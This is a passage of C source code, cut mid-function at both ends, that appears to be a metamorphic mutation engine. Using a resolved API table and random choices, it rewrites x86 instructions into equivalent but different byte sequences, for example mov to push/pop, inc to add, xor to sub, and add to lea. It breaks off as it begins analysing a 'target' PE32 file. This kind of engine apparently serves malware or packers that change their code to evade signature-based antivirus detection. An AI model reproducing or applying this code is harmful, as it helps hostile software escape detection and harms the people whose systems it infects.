pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x50 + CurrentSourceRegister); pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; if(pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL) { pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; } pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->WBitOpcode=pNewSynonymousX86InstructionAbstraction->DBitOpcode=pNewSynonymousX86InstructionAbstraction->Opcode=0x8F; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=(X86InstructionExtendedFlagBlankReg|X86InstructionExtendedFlag32BitSingleModRM); pNewSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM; pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM; pNewSynonymousX86InstructionAbstraction->Reg=0x00; pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; continue; } } } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch)) { // Mov Reg(32), Constant32 -> Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta dwDelta=pAPITable->Rand(); *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1] -= dwDelta; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80; pNewSynonymousX86InstructionAbstraction->WBit=1; pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81; pNewSynonymousX86InstructionAbstraction->Mod=0xC0; pNewSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister; pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=(pNewSynonymousX86InstructionAbstraction->Mod|pNewSynonymousX86InstructionAbstraction->Rm); pNewSynonymousX86InstructionAbstraction->dwDataOffset=2; *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[2]=dwDelta; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=6; pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; if((pAPITable->Rand() % 2) == 0) { continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF) { // Mov Reg(32), Constant32 -> Push Constant32 + Pop Reg(32) pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagRegWBit; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x68; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; continue; } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL) { // Mov [Effective Address (32)], Constant32 -> Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta dwDelta=pAPITable->Rand(); *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] -= dwDelta; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pNewSynonymousX86InstructionAbstraction->DBit=0; pNewSynonymousX86InstructionAbstraction->Rm=pNewSynonymousX86InstructionAbstraction->DestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80; pNewSynonymousX86InstructionAbstraction->WBit=1; pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81; pNewSynonymousX86InstructionAbstraction->Reg=0x00; pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM; *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[pNewSynonymousX86InstructionAbstraction->dwDataOffset]=dwDelta; pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; if((pAPITable->Rand() % 2) == 0) { continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7) { // Mov [Effective Address (32)], Constant32 -> Push Constant32 + Pop [Effective Address (32)] pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION)); if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction) { pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=NULL; } } pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x68; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->dwDataOffset=0; pNewSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=NULL; pNewSynonymousX86InstructionAbstraction->dwInstructionLength -= 4; pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x8F; pNewSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM; pNewSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagData); pNewSynonymousX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagBlankReg); pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; continue; } } } // Walk instruction list and mutate single instructions for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Inc Reg(8/16/32) -> Add Reg(8/16/32), 1(8/16/32) --------------------------------------------------------------| // Dec Reg(8/16/32) -> Add Reg(8/16/32), -1(8/16/32) -------------------------------------------------------------| // Inc [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], 1(8/16/32) -------------------------| | // Dec [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], -1(8/16/32) ------------------------| | // Add [Effective Address (8/16/32)], Constant8/16/32 -> Sub [Effective Address (8/16/32)], -Constant8/16/32 <-| | Inc [Effective Address (8/16/32)] -> Sub [Effective Address (8/16/32)], -1(8/16/32) / Dec [Effective Address (8/16/32)] -> Sub [Effective Address (8/16/32)], 1(8/16/32) // Add Reg(8/16/32), Constant8/16/32 -> Sub Reg(8/16/32), -Constant8/16/32 <--------------------------------------| Inc Reg(8/16/32) -> Sub Reg(8/16/32), -1(8/16/32) / Dec Reg(8/16/32) -> Sub Reg(8/16/32), 1(8/16/32) // Test Reg(8/16/32), Reg(8/16/32) -> Cmp Reg(8/16/32), 0(8/16/32) / Or Reg(8/16/32), Reg(8/16/32) // Xor Reg(8/16/32), Reg(8/16/32) -> Mov Reg(8/16/32), 0(8/16/32) / Sub Reg(8/16/32), Reg(8/16/32) // Add Reg1(32), Reg2(32) -> Lea Reg1(32), Dword [Reg1(32) + Reg2(32) * 1] // Push Constant32 -> Push Constant8 if((pAPITable->Rand() % 2) == 0) { continue; } if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->SourceRegister; CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch)) { if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x40 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0x47) { // Inc Reg(8/16/32) -> Add Reg(8/16/32), 1(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3); pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Add extended opcode pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=1; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= (X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; if((pAPITable->Rand() % 2) == 0) { continue; } } else if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x48 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0x4F) { // Dec Reg(8/16/32) -> Add Reg(8/16/32), -1(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3); pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Add extended opcode pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-1; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; if((pAPITable->Rand() % 2) == 0) { continue; } } if(pCurrentSynonymousX86InstructionAbstraction->WBitOpcode == 0xFE) { if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00 || pCurrentSynonymousX86InstructionAbstraction->Reg == 0x01) // 000 - Inc extended opcode / 001 - Dec extended opcode { // Inc [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], 1(8/16/32) // Dec [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], -1(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength++; if(pCurrentSynonymousX86InstructionAbstraction->WBit == 0) { pCurrentSynonymousX86InstructionAbstraction->Opcode=0x80; pCurrentSynonymousX86InstructionAbstraction->DBit=0; } else { pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83; pCurrentSynonymousX86InstructionAbstraction->DBit=1; } pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength - 1); if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x01) { pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-1; } else { pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=1; } pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagSingleModRM; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit; if((pAPITable->Rand() % 2) == 0) { continue; } } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL) { if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode { if((pAPITable->Rand() % 2) == 0) { // Add -> Negated Sub // Add [Effective Address (8/16/32)], Constant8/16/32 -> Sub [Effective Address (8/16/32)], -Constant8/16/32 // Add Reg(8/16/32), Constant8/16/32 -> Sub Reg(8/16/32), -Constant8/16/32 pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x28; // 101 - Sub extended opcode pCurrentSynonymousX86InstructionAbstraction->Reg=0x05; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]; } continue; } } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x30) { if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister) { if((pAPITable->Rand() % 2) == 0) { // Xor Reg1, Reg1 -> Sub Reg1, Reg1 pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x28; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode -= 8; } else { // Xor Reg1, Reg1 -> Mov Reg1, 0 pCurrentSynonymousX86InstructionAbstraction->Opcode=(0xB0 + pCurrentSynonymousX86InstructionAbstraction->SourceRegister); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagRegWBit; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1; if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1) { pCurrentSynonymousX86InstructionAbstraction->Opcode += 0x08; if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlag16BitOverridePrefix)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16; *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0; } else { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0; } } else { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=2; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0; } pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; } continue; } } if(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0) { if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x00) { // Add if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1) { // Add Reg1, Reg2 -> Lea Reg1, Dword Ptr [Reg1 + Reg2 * 1] pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x8D; pCurrentSynonymousX86InstructionAbstraction->Mod=0x00; pCurrentSynonymousX86InstructionAbstraction->Rm=0x04; pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->Scale=0; pCurrentSynonymousX86InstructionAbstraction->Index=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->Base=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->SIB=pCurrentSynonymousX86InstructionAbstraction->Data[2]=(pCurrentSynonymousX86InstructionAbstraction->Scale|(pCurrentSynonymousX86InstructionAbstraction->Index << 3)|pCurrentSynonymousX86InstructionAbstraction->Base); pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=3; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagSIB; pCurrentSynonymousX86InstructionAbstraction->Scale++; continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68) { // } } } if(pCurrentSynonymousX86InstructionAbstraction->WBitOpcode == 0x84) { // Test if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister) { if((pAPITable->Rand() % 2) == 0) { // Test Reg1, Reg1 -> Or Reg1, Reg1 pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x08; pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; } else { // Test Reg1, Reg1 -> Cmp Reg1, 0 pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3); if(pCurrentSynonymousX86InstructionAbstraction->WBit == 0) { pCurrentSynonymousX86InstructionAbstraction->Opcode=0x80; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x80; } else { pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82; } pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Reg=0x07; // 111 - Cmp extended opcode pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=0; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; } continue; } } } } } return pSynonymousTargetCodeAbstractionTable; } PPE32_ABSTRACTION_TABLE AnalyzeX86PE32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, int nCodePoolSize) { PPE32_ABSTRACTION_TABLE pPE32AbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(PE32_ABSTRACTION_TABLE)); BOOL bSectionEndReference; PIMAGE_SECTION_HEADER pEATImageSectionHeader; PBYTE 